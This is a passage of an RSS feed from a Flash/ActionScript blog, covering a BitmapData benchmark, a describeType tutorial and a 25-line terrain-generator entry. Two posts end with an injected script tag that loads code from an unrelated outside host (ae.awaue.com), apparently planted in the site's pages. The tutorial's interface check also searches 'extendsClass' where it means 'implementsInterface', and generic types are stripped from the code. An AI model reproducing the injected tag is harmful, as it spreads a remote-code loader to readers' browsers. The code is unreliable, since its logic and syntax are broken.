			loc.<span style="color: #006600;">y</span> = locY<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>;
			canvas.<span style="color: #006600;">merge</span><span style="color: #66cc66;">&#40;</span>tile, tile.<span style="color: #006600;">rect</span>, loc, 0xFF,0xFF,0xFF,0xFF<span style="color: #66cc66;">&#41;</span>;
	  <span style="color: #66cc66;">&#125;</span>
	  <span style="color: #0066CC;">trace</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;merge&quot;</span>,<span style="color: #0066CC;">getTimer</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>-startTime,<span style="color: #ff0000;">&quot;ms&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p><strong>~36</strong> ms to extract and ~12ms to merge tiles on the canvas!!!&#8230;too slow all the way&#8230;:\</p>
<p>There are still some methods left such as getPixel\setPixel, getPixel32\setPixel32, and copyChannel but they&#8217;re a too much restrictive choice because they&#8217;re handling one pixel, or channel at time therefore a further loop would be required to get them doing this task.</p>
<p>Summary:<br />
getVector\setVector : ~9ms\~1ms<br />
getPixels\setPixels: ~17ms\~2ms<br />
copyPixels: ~27ms\~2-3ms<br />
merge: ~36ms\~12ms</p>
<p>make your choice <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>NOTE: these benchmarks are valid from flash player 10 because we (both me and <a href="http://actionsnippet.com/?page_id=3">Zevan</a>) used the Vector native type to store lists of typed data. To make them valid for previous version of the player make sure to replace vectors with arrays and check other types are already supported by the target player.</p>
<p>stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2009/07/15/bitmapdata-manipulation-benchmark/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Check a Class type with describeType and getQualifiedClassName</title>
		<link>http://www.flashfuck.it/2009/03/04/check-a-class-type-with-describetype-and-getqualifiedclassname/</link>
		<comments>http://www.flashfuck.it/2009/03/04/check-a-class-type-with-describetype-and-getqualifiedclassname/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 14:51:09 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=115</guid>
		<description><![CDATA[Recently I faced this problem: how to get if a Class is extending another one or implementing an interface?
this is the specific case:

?View Code ACTIONSCRIPTfunction checkType&#40;toCheck:Class,typeClass:Class=null,typeInterface:Class=null&#41;:Boolean
&#123;
// if an instance of toCheck is a typeClass or a typeInterface
// return true
// else
// return false
&#125;

The task is quite simple, the first solution would be get an instance of [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I faced this problem: how to get if a Class is extending another one or implementing an interface?</p>
<p>this is the specific case:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p115code30'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p11530"><td class="code" id="p115code30"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> checkType<span style="color: #66cc66;">&#40;</span>toCheck:<span style="color: #000000; font-weight: bold;">Class</span>,typeClass:<span style="color: #000000; font-weight: bold;">Class</span>=<span style="color: #000000; font-weight: bold;">null</span>,typeInterface:<span style="color: #000000; font-weight: bold;">Class</span>=<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Boolean</span>
<span style="color: #66cc66;">&#123;</span>
<span style="color: #808080; font-style: italic;">// if an instance of toCheck is a typeClass or a typeInterface</span>
<span style="color: #808080; font-style: italic;">// return true</span>
<span style="color: #808080; font-style: italic;">// else</span>
<span style="color: #808080; font-style: italic;">// return false</span>
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>The task is quite simple, the first solution would be get an instance of toCheck and use the is operator to actually check the type&#8230;but this would mean both a waste of resources and an &#8220;unwanted behaviour generator&#8221; (just think about a parser class instantiated without a real need or something like that).</p>
<p>Nope, that solution sucks.</p>
<p>Let&#8217;s try something better, let&#8217;s make the player inform us which is the toCheck class structure, let&#8217;s use describeType.</p>
<p>describeType is a wonderful function you can find in flash.utils package, it examines an untyped object and returns an xml document containing the description of that type (more details at <a href="http://livedocs.adobe.com/flex/3/langref/flash/utils/package.html#describeType()">adobe livedocs</a>)&#8230;something like this:</p>
<p>NOTE: click on &#8220;view code&#8221; to see the real xml document, my wp is escaping tags chars &amp;lt;&amp;gt; &#8230;:\</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p115code31'); return false;">View Code</a> HTML</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p11531"><td class="code" id="p115code31"><pre class="html" style="font-family:monospace;">&amp;lt;type name=&quot;flash.events::EventDispatcher&quot; base=&quot;Class&quot; isDynamic=&quot;true&quot; isFinal=&quot;true&quot; isStatic=&quot;true&quot;&amp;gt;
  &amp;lt;extendsClass type=&quot;Class&quot;/&amp;gt;
  &amp;lt;extendsClass type=&quot;Object&quot;/&amp;gt;
  &amp;lt;accessor name=&quot;prototype&quot; access=&quot;readonly&quot; type=&quot;*&quot; declaredBy=&quot;Class&quot;/&amp;gt;
  &amp;lt;factory type=&quot;flash.events::EventDispatcher&quot;&amp;gt;
    &amp;lt;metadata name=&quot;Event&quot;&amp;gt;
      &amp;lt;arg key=&quot;name&quot; value=&quot;deactivate&quot;/&amp;gt;
      &amp;lt;arg key=&quot;type&quot; value=&quot;flash.events.Event&quot;/&amp;gt;
    &amp;lt;/metadata&amp;gt;
    &amp;lt;metadata name=&quot;Event&quot;&amp;gt;
      &amp;lt;arg key=&quot;name&quot; value=&quot;activate&quot;/&amp;gt;
      &amp;lt;arg key=&quot;type&quot; value=&quot;flash.events.Event&quot;/&amp;gt;
    &amp;lt;/metadata&amp;gt;
    &amp;lt;extendsClass type=&quot;Object&quot;/&amp;gt;
    &amp;lt;implementsInterface type=&quot;flash.events::IEventDispatcher&quot;/&amp;gt;
    &amp;lt;constructor&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;*&quot; optional=&quot;true&quot;/&amp;gt;
    &amp;lt;/constructor&amp;gt;
    &amp;lt;method name=&quot;willTrigger&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;Boolean&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;String&quot; optional=&quot;false&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;hasEventListener&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;Boolean&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;String&quot; optional=&quot;false&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;removeEventListener&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;void&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;String&quot; optional=&quot;false&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;2&quot; type=&quot;Function&quot; optional=&quot;false&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;3&quot; type=&quot;Boolean&quot; optional=&quot;true&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;dispatchEvent&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;Boolean&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;flash.events::Event&quot; optional=&quot;false&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;addEventListener&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;void&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;String&quot; optional=&quot;false&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;2&quot; type=&quot;Function&quot; optional=&quot;false&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;3&quot; type=&quot;Boolean&quot; optional=&quot;true&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;4&quot; type=&quot;int&quot; optional=&quot;true&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;5&quot; type=&quot;Boolean&quot; optional=&quot;true&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;toString&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;String&quot;/&amp;gt;
  &amp;lt;/factory&amp;gt;
&amp;lt;/type&amp;gt;</pre></td></tr></table></div>

<p>As you can see in this EventDispatcher type description there are two nodes witch are fitting the task&#8217;s purposes:</p>
<p>&lt;extendsClass&gt; and &lt;implementsInterface&gt;</p>
<p>Those nodes are repeated for each class or interface in the given class (toCheck) chain of inheritance and they contain the qualified class name string of the extended\implemented class\interface.</p>
<p>In this case EventDispatcher extendsClass type=&#8217;Object&#8217; and implementsInterface type=&#8217;flash.events::IEventDispatcher&#8217; &#8230;quite clear right?:)  Now, back to the implementation:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p115code32'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p11532"><td class="code" id="p115code32"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> checkType<span style="color: #66cc66;">&#40;</span>toCheck:<span style="color: #000000; font-weight: bold;">Class</span>,typeClass:<span style="color: #000000; font-weight: bold;">Class</span>=<span style="color: #000000; font-weight: bold;">null</span>,typeInterface:<span style="color: #000000; font-weight: bold;">Class</span>=<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Boolean</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #808080; font-style: italic;">//gets the toCheck class type xml description</span>
	<span style="color: #000000; font-weight: bold;">var</span> _typeXML:<span style="color: #0066CC;">XML</span>=describeType<span style="color: #66cc66;">&#40;</span>toCheck<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #808080; font-style: italic;">//gets the typeClass and typeInterface qualified class names</span>
	<span style="color: #000000; font-weight: bold;">var</span> _result:<span style="color: #0066CC;">Boolean</span>=<span style="color: #000000; font-weight: bold;">false</span>;
	<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>typeClass<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
		<span style="color: #808080; font-style: italic;">// if toCheck is a typeClass</span>
		<span style="color: #b1b100;">for</span> each <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> _extClass:<span style="color: #0066CC;">XML</span> <span style="color: #b1b100;">in</span> _typeXML.<span style="color: #006600;">factory</span>.<span style="color: #006600;">elements</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'extendsClass'</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>_extClass.<span style="color: #66cc66;">@</span><span style="color: #0066CC;">type</span>==getQualifiedClassName<span style="color: #66cc66;">&#40;</span>typeClass<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
				_result=<span style="color: #000000; font-weight: bold;">true</span>;
				<span style="color: #b1b100;">break</span>;
			<span style="color: #66cc66;">&#125;</span>
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #808080; font-style: italic;">// do the same for typeInterface but checking 'implementsInterface' node</span>
	<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>typeInterface<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> each <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> _impInterface:<span style="color: #0066CC;">XML</span> <span style="color: #b1b100;">in</span> _typeXML.<span style="color: #006600;">factory</span>.<span style="color: #006600;">elements</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'extendsClass'</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>_impInterface.<span style="color: #66cc66;">@</span><span style="color: #0066CC;">type</span>==getQualifiedClassName<span style="color: #66cc66;">&#40;</span>typeInterface<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
				_result=<span style="color: #000000; font-weight: bold;">true</span>;
				<span style="color: #b1b100;">break</span>;
			<span style="color: #66cc66;">&#125;</span>
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
&nbsp;
	<span style="color: #b1b100;">return</span> _result;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>&#8230;and the task got done <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2009/03/04/check-a-class-type-with-describetype-and-getqualifiedclassname/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>My entry to Bit-101s 25 Lines competition</title>
		<link>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/</link>
		<comments>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/#comments</comments>
		<pubDate>Sun, 30 Nov 2008 13:45:08 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Community]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[25lines]]></category>
		<category><![CDATA[contest]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=101</guid>
		<description><![CDATA[Yep, i made my submission to 25lines contest just few days ago (right in time   ), so (as Sakri did some days before me) I&#8217;m publishing my code. It&#8217;s an easy terrain generator&#8230;


Actually, I think it can be somehow improved both in lines of code and actual performances, so feel free to edit [...]]]></description>
			<content:encoded><![CDATA[<p>Yep, i made my submission to <a href="http://www.25lines.com/" target="_blank">25lines contest</a> just few days ago (right in time <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ), so (as <a href="http://www.sakri.net/blog/2008/11/19/my-entry-to-bit-101s-25-lines-competition/" target="_blank">Sakri did some days before me</a>) I&#8217;m publishing my code. It&#8217;s an easy terrain generator&#8230;</p>
<p><a href="http://www.flashfuck.it/wp-content/uploads/2008/11/25lines.jpg"></a></p>
<p style="text-align: center;"><a href="http://www.flashfuck.it/wp-content/uploads/2008/11/25linesbmpoptimized.swf" target="_blank"><img class="alignnone size-medium wp-image-102 aligncenter" title="25lines" src="http://www.flashfuck.it/wp-content/uploads/2008/11/25lines-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>Actually, I think it can be somehow improved both in lines of code and actual performances, so feel free to edit or tell me &#8220;you&#8217;d better to do that this other way&#8230;&#8221; <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>What&#8217;s going on is:</p>
<ul>
<li>generate a shape filled with a gradient to create a reference color for differents &#8220;height&#8221;</li>
<li>generate a perlinNoise everyframe for dataprovider use</li>
<li>detect each perlinNoise pixel depth according with its main channel value (blue in this case..)</li>
<li>generating a vector of Bitmaps to be employed in the view</li>
</ul>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p101code34'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p10134"><td class="code" id="p101code34"><pre class="actionscript" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/**
 * 25-Line ActionScript Contest Entry
 *
 * Project: Random Terrain 3D Generator
 * Author:  Piergiorgio Niero (aka pigiuz) piergiorgio.niero[at]gmail.com
 * Date:    11/24/08
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the &quot;Software&quot;), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED &quot;AS IS&quot;, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */</span>
&nbsp;
<span style="color: #808080; font-style: italic;">// 3 free lines! Alter the parameters of the following lines or remove them.</span>
<span style="color: #808080; font-style: italic;">// Do not substitute other code for the three lines in this section</span>
<span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #cc66cc;">800</span>, <span style="color: #0066CC;">height</span>=<span style="color: #cc66cc;">800</span>, <span style="color: #0066CC;">backgroundColor</span>=0xffffff, frameRate=<span style="color: #cc66cc;">24</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
<span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">align</span> = StageAlign.<span style="color: #006600;">TOP_LEFT</span>;
<span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">scaleMode</span> = StageScaleMode.<span style="color: #006600;">NO_SCALE</span>;
<span style="color: #808080; font-style: italic;">// 25 lines begins here!</span>
<span style="color: #000000; font-weight: bold;">var</span> _bd:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">50</span>,<span style="color: #cc66cc;">50</span>,<span style="color: #000000; font-weight: bold;">false</span>,0x0000FF<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _points:<span style="color: #0066CC;">Array</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Point<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _vxCont:Sprite = Sprite<span style="color: #66cc66;">&#40;</span>addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Sprite<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
_vxCont.<span style="color: #006600;">x</span> = _vxCont.<span style="color: #006600;">y</span> = <span style="color: #cc66cc;">400</span>;
<span style="color: #000000; font-weight: bold;">var</span> _vexels:Vector. = <span style="color: #000000; font-weight: bold;">new</span> Vector.<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">2500</span><span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">true</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _hMap:BitmapData = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span>,<span style="color: #cc66cc;">1</span>,<span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">var</span> _gradient:Shape = <span style="color: #000000; font-weight: bold;">new</span> Shape<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
_gradient.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">beginGradientFill</span><span style="color: #66cc66;">&#40;</span> GradientType.<span style="color: #006600;">LINEAR</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> 0x4267F9, 0xF9EAB0, 0x9EF07D, 0x8DF273, 0x9D5E1E, 0xFFFFFF <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">1</span> <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Array</span><span style="color: #66cc66;">&#40;</span> <span style="color: #cc66cc;">90</span>, <span style="color: #cc66cc;">105</span>, <span style="color: #cc66cc;">110</span>, <span style="color: #cc66cc;">120</span>, <span style="color: #cc66cc;">145</span>, <span style="color: #cc66cc;">185</span> <span style="color: #66cc66;">&#41;</span>,<span style="color: #000000; font-weight: bold;">new</span> Matrix<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0.2456396484375</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0.0006103524625</span>,<span style="color: #cc66cc;">127.5</span>,.5<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
_gradient.<span style="color: #006600;">graphics</span>.<span style="color: #006600;">drawRect</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">255</span>,<span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>;
_hMap.<span style="color: #006600;">draw</span><span style="color: #66cc66;">&#40;</span>_gradient<span style="color: #66cc66;">&#41;</span>;
addEventListener<span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>,generatePerlinNoise<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> generatePerlinNoise<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:Event=<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span><span style="color: #66cc66;">&#123;</span>
	_bd.<span style="color: #006600;">perlinNoise</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">25</span>,<span style="color: #cc66cc;">25</span>,<span style="color: #cc66cc;">1</span>,<span style="color: #cc66cc;">0</span>,<span style="color: #000000; font-weight: bold;">false</span>,<span style="color: #000000; font-weight: bold;">true</span>,<span style="color: #cc66cc;">4</span>,<span style="color: #000000; font-weight: bold;">false</span>,_points<span style="color: #66cc66;">&#41;</span>;
	Point<span style="color: #66cc66;">&#40;</span>_points<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">y</span>+=<span style="color: #cc66cc;">1</span>;
	<span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> v:uint=<span style="color: #cc66cc;">0</span>;v<span style="color: #66cc66;">&amp;</span>amp;lt;<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">2500</span><span style="color: #66cc66;">&#41;</span>;v++<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span> = <span style="color: #66cc66;">&#40;</span>_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>==<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>?generateVoxel<span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">&#41;</span>:_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>;
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">y</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">pow</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">%</span>50,<span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&amp;</span>amp; 0xFF<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">/</span><span style="color: #cc66cc;">255</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">6</span>,<span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.24;
		_vxCont.<span style="color: #006600;">rotationX</span> = mouseY<span style="color: #66cc66;">*</span>.1;
		_vxCont.<span style="color: #006600;">rotationY</span> = <span style="color: #66cc66;">&#40;</span>_vxCont.<span style="color: #006600;">rotationY</span>-<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">90</span><span style="color: #66cc66;">/</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span><span style="color: #66cc66;">*</span><span style="color: #66cc66;">&#40;</span>mouseX-<span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #cc66cc;">45</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span>.5;
		_vexels<span style="color: #66cc66;">&#91;</span>v<span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">bitmapData</span>.<span style="color: #006600;">floodFill</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">0</span>,_hMap.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #006600;">getPixel</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">%</span>50,<span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&amp;</span>amp; 0xFF<span style="color: #66cc66;">&#41;</span>,<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#125;</span>
<span style="color: #000000; font-weight: bold;">function</span> generateVoxel<span style="color: #66cc66;">&#40;</span>v:uint<span style="color: #66cc66;">&#41;</span>:Bitmap<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> b:Bitmap = <span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5,<span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5,<span style="color: #000000; font-weight: bold;">false</span>,0x000000<span style="color: #66cc66;">&#41;</span>,<span style="color: #ff0000;">&quot;auto&quot;</span>,<span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;
